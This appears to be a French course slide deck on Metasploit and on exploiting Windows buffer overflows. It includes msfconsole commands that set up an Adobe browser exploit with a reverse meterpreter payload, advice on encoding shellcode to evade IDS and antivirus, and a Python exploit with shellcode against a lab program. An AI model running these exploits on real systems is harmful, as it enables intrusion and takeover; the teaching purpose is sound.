Les Failles Applicatives Windows Le Framework Metasploit Metasploit • Metasploit est un Framework qui fournit l’infrastructure pour automatiser les tâches de routine, banales et complexe • Il permet de se concentrer sur les aspects uniques et spécialisés de pénétration dans le but d’identifier des failles dans un programme • Il permet de facilement construire des vecteurs d’attaque pour augmenter ses exploits, payloads, encodeurs et plus afin de créer et exécuter des attaques les plus avancés. Metasploit Payload • Un Payload (charge utile) est le morceau du code que nous voulons que le système exécute, les payloads sont livrées par le Framework ou peuvent être récupérés sur le net. Exemple: • • reverse shell : payload qui crée une connexion entre la machine cible et celle de l'attaquant en renvoyant à celle-ci une invite de commande DOS. • bind shell : payload qui «Lie» une invite de commande à un port d'écoute sur la machine cible, elle reste là à l’écoute pour attendre que le pirate se connecte. Un Payload peut aussi être quelque chose aussi simple que quelques commandes à exécuter sur le système d'exploitation cible. Metasploit Shellcode • Le Shellcode est un ensemble d’ instructions utilisées par le payload lors de l’exploitation (Shellcode écrit généralement en assembleur ). Module • Les modules sont des parties d’application qu’on importe et on peut utiliser dans le Framework Metasploit. Listener • Un listener est un composant de Metasploit qui attend une connexion entrante sur la machine de l’attaquant. Metasploit Msfconsole • Msfconsole est de loin la partie la plus populaire du Metasploit, l'un des plus souples (possibilité d’utilisé la tabulation), flexible, riches en fonctionnalités, et il supporte tous les outils du MSF. • Msfconsole fournit un outil pratique « tout-en-un » avec une interface console, toutes les options et paramètres de MFS sont disponibles ( lancer des exploits, charger les modules auxiliaires, effectuer l'énumération, créer le listener, ou scanner en masse un ensemble du réseau ). Metasploit Msfcli • Msfcli et msfconsole adoptent des approches très différentes pour l'accéder au Framework. Là où msfconsole fournit une façon interactive d'accéder à toutes les fonctionnalités de manière conviviale, msfcli met la priorité sur les scripts et l'interopérabilité avec d'autres outils basés sur console. • msfcli s'exécute directement depuis la ligne de commande, ce qui vous permet de rediriger la sortie dans d'autres outils de ligne de commande. • Msfcli permet également le lancement d’exploits et modules auxiliaires, il est très pratique dans le test des modules et aussi lors développement de nouveaux exploits pour le Framework. Metasploit Armitage • L’Armitage permet aux utilisateurs de communiquer graphiquement avec le Framework. Execution de l’armitage • root@bt:/opt/framework3/msf3# armitage • Lors du chargement vous devrez renseigner le host, port, user, pass du MSF, pour que armitage se connecte à l’instance de votre Metasploit. Metasploit MSFpayload • L’utilitaire msfpayload vous permet de générer le shellcode, les exécutables … • Le shellcode peut être générée sous des nombreux formats comme : C, Ruby, Javascript, et même Visual Basic. • Après avoir décidé du type de sortie vous pouvez facilement l’insérer dans un fichier HTML pour déclencher l’exploit. • Liste des options de cet utilitaire entrez msfpayload -h dans la ligne de commande : root @ bt :/ # msfpayload -h • Pour obtenir les options a renseigner, ajoutez la lettre "O" sur la ligne de commande, après le choix du payload : root@bt:/# msfpayload windows/shell_reverse_tcp O Metasploit MSFencode • Normalement le shellcode généré par msfpayload est pleinement fonctionnelle, mais il peut contenir plusieurs caractères nuls interprétés par certains programmes provoquant l’arrêt du code avant sa fin ( les x00s ,xffs … ). Le shellcode traversant le réseau sous forme de texte clair est susceptible d'être intercepter par le détecteur d’'intrusion (IDS) et les logiciels antivirus. Entrer msfencode-h pour voir la liste d'options de msfencode. • Metasploit contient un certain nombre de codeurs qui doivent êtres utilisés dans des différentes situations bien spécifiques. Certains seront utiles lorsque vous ne pouvez utiliser que des caractères alphanumériques dans le payload, c'est bien le cas de nombreux exploits qui attaquent les formats de fichiers et applications qui acceptent uniquement des caractères imprimables en entrée, tandis que d'autres encodeurs sont généraux et réussissent bien dans toutes les situations. • Le codeur x86/shikata_ga_nai, est le seul encodeur avec le grade d’Excellent et donne souvent de très bons résultats. • Pour voir la liste des encodeurs disponibles : root @ bt: ~ # msfencode -l Metasploit • Modules auxiliaires : show auxiliary Metasploit Metasploit Coté Exploit • Comment afficher tous les exploits disponibles sur Metasploit : Show exploits • Pour chercher un exploit : Search nom_exploit • Pour sélectionner un exploit : Use nom_exploit • Avoir des informations sur un exploit : Info nom_exploit • Voir les options d’un exploit : Show options Coté Payload • Afficher tous les payloads disponibles sur Metasploit : Show payload • Choisir le payload que l’on va utiliser : set PAYLOAD nom_payload • Voir les options du payload pour une configuration : Show options En général • Pour obtenir de l’aide : help • Si vous voulez connaître la version de Metasploit : version • Si l’on veut lister l’intégralité des exploits, modules, playloads : search • Pour quitter Metasploit : quit Metsaploit Metasploit Metasploit Récapitulatif: • msf > search adobe_jbig2decode //chercher l'exploit adobe • msf > use windows/browser/adobe_jbig2decode // selectionner l'exploit • msf > info windows/browser/adobe_jbig2decode • msf > show options • msf > set SRVHOST 192.168.230.128 // l'adresse IP du serveur utilisé • msf > set SRVPORT 80 msf > set URIPATH / //c'est l'URL utilisé pour l'exploit msf > show targets • msf > set targets 0 msf > show payloads • msf > set PAYLOAD windows/meterpreter/reverse_tcp • msf > set LHOST 192.168.230.128 Ici, on charge le payload « reverse_tcp ». Ce bout de shellcode sera exécuté sur la machine cible une fois la vulnérabilité exploitée. Une connexion de type TCP inversée sera alors initialisée et vous permettra d’ouvrir une session distante (même à travers un firewall). - See more at: http://www.funinformatique.com/cest-quoi-metasploit-et-comment-bien-lutiliser/ #sthash.KnYVQZOi.dpuf Metasploit • Utilisation de db_autopwn Dissection DES FAILLES APPLICATIVES Introduction Qu’est ce qu’une “faille applicative” ? « faiblesse dans un système informatique permettant à un attaquant de porter atteinte à l'intégrité de ce système, c'est-à-dire à son fonctionnement normal, à la confidentialité et l'intégrité des données qu'il contient » Exploitation de programmes codés en C / C++ … Quels types d’exploitation : • Fuite d’informations • Contournement de protections • Détournement du flux d’exécution • ... Contexte d’Attaques • Architecture INTEL x86 32 bits • • « little endian » Programmes C / C++ 2 types d’attaques : • « remote » • « local » Segmentation de la mémoire Adresse basses Adresse Hautes Assembleur Les registres : • De calcul : EAX, EBX, ECX, EDX • De pile : EBP, ESP • D’instruction : EIP Quelques instructions : • PUSH reg, POP reg • CALL / RET • MOV dest, src Gestion de la pile Sens de la pile ESP EBP Gestion de la Pile ESP EBP Gestion de la pile ESP EBP Les Outils • Un désassembleur / débuggeur : • • • • UNIX : GDB – GNU Debugger Windows : OllyDBG, WinDBG, IDA Un peu de shell Des « shellcodes » • Suite d’instruction assembleur précompilées • Permet de lancer un shell, créer des utilisateurs, lancer une application… • Détournement de flux d’exécution Exploitation 1: Hack1.exe • Utilisation de dev c++ pour compiler • On teste diffrents nombres d’arguments Exploitation 1: hack1.exe Immunity debugger: • lancer immunity • ouvrir hack1.exe • debug => arguments • Lancer le programme Exploitation 1: hack1.exe • EIP écrasé par 53525150 : SRQP , « little indien » donc PQRS • ESP : « XYZ » Exploitation 1: hack1.exe donc : • 24 arguments avant d’arriver sur EIP • 33 éme argument pointé par ESP « A » * 24 + BCDA + JUNK + « Z » * 50 A*24 ecrase stack DCBA @ retour : EIP JUNK Z*50 Pointe par ESP => Offset Shellecode ? Exploitation 1: hack1.exe • Il faudrait que l’on ecrase EIP avec une adresse qui pointe sur un jmp sep ( puisque sep pointe sur nos Z que nous pouvons remplacer par un shellcode) • jmp esp se trouve dans les dll de windows • Deux solutions s'offrent à nous, chercher dans une dll du système ou une DLL de l’application. Si nous trouvons le jmp esp dans une DLL de l'application, notre exploit sera plus "portable" que si nous le trouvons dans une DLL système, car cette dernière est différente pour chaque système (Windows XP SP1, SP2, Windows Vista...). Exploitation 1: hack1.exe cliquons sur e dans la barre des taches de immunity debugger pour voir les dlls chargées avec hack1.exe • • Nous pouvons double cliquer sur chacune des DLL pour essayer de trouver notre jmp esp. • Avec la DLL kernell32.dll, nous obtenons son code désassemblé. • Plaçons-nous dans le cadre en haut à gauche et cliquons avec le bouton droit de la souris. • Sélectionnons Search for - Command. Exploitation 1: hack1. exe Exploitation 1: hack1.exe Exploitation 1: hack1.exe import os ret="\x7B\x46\x86\x7C" junk='\x90'*20 shellcode=« \xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF \x63\x61\x6C\x63" var="A"*28+ret+junk+shellcode arg0='hack1.exe' args=[arg0]+[var] os.execv(arg0, args) Exploitation 2: Buffer Overflow • « buffer » ? • • Zone de mémoire (ex : tableau d’éléments, structure de donnée, zone allouée avec malloc, ...) « overflow » ? • dépassement Lors d’une copie, que se passe-t-il si la taille des données est supérieure à la taille du buffer qui est censé les recevoir ? Exploitation 1 : Buffer Overflow • • La faille : copie de données utilisateur sans vérification de la taille Exploitation la plus courante : • « stack overflow » • Injection d’un shellcode sur la pile et calcul de son adresse • Dépassement de capacité d’une variable sur la pile • Écrasement de SEIP par l’adresse du shellcode ⇒ Le programme saute à l’adresse du shellcode lors du « RET » et l’exécute ! Exploitation 1 : Buffer Overflow ESP EBP Démonstration : Ability server Cas réel avec Ability Server • Une machine Windows avec Ability Server et une autre machine avec KaliLinux. • Les deux machines sont en réseau interne pour faire les test. • Utilisation d’un debugger, immunity debugger et du langage Python. Démonstration : Ability server • Fuzzing Démonstration : Ability server Démonstration : Ability server • Répliquer le Crash Démonstration : Ability server • Immunity Debbuger Démonstration : Ability server • Controler SEIP Démonstration : Ability server EIP=42 67 32 42 soit Bg2B Démonstration : Ability server Démonstration : Ability server • Localiser l’espace pour le Shellcode Démonstration : Ability server Démonstration : Ability server Rediriger le flux d’exécution Trouver le moyen de faire un JMP vers notre shellcode Trouver dans une dll chargée un jmp esp Trouver l’adresse de retour Démonstration : Ability server Démonstration : Ability server • Creer notre shellcode Démonstration : Ability server Démonstration : Ability server Démonstration : Ability server • Vérification Démonstration : Ability server Démonstration : Ability server